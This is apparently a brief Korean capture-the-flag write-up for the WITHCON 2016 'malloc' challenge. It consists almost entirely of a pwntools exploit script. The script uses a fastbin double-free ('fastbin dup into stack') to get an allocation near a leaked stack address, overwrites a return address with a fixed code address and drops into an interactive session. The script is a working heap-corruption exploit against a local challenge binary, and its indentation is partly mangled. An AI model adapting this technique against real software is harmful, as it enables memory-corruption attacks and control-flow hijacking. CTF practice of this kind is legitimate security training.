[WITHCON 2016] malloc

fastbin dup into stack으로 쓱싹!!!

from pwn import *

s = process("./malloc")

elf = ELF("./malloc")

def malloc(size,content):

s.recvuntil("> ")

s.sendline("1")

    s.recvuntil("Enter size :")

    s.sendline(str(size))

    s.recvuntil("Enter data : ")

    s.sendline(content)

def free(index):

s.recvuntil("> ")

s.sendline("2")

    s.recvuntil("free :")

    s.sendline(str(index))

    

def list():

s.recvuntil("> ")

s.sendline("3")

def modify(index,content):

    s.recvuntil("> ")

s.sendline("4")

    s.recvuntil("modify : ")

    s.sendline(str(index))

    s.recvuntil("data : ")

    s.sendline(content)

    

def quit():

    s.recvuntil("> ")

    s.sendline("5")

gdb.attach(s)

s.recvuntil("Stack Address : ")

stack = int(s.recv(14),16)

print "stack : " + hex(stack)

malloc(32,"A"*8)

malloc(32,"B"*8)

free(1)

free(2)

free(1)

modify(1,p64(stack-0x58))

malloc(32,"C"*8)

malloc(49,"A"*24+p64(0x0000000000400986))

s.interactive()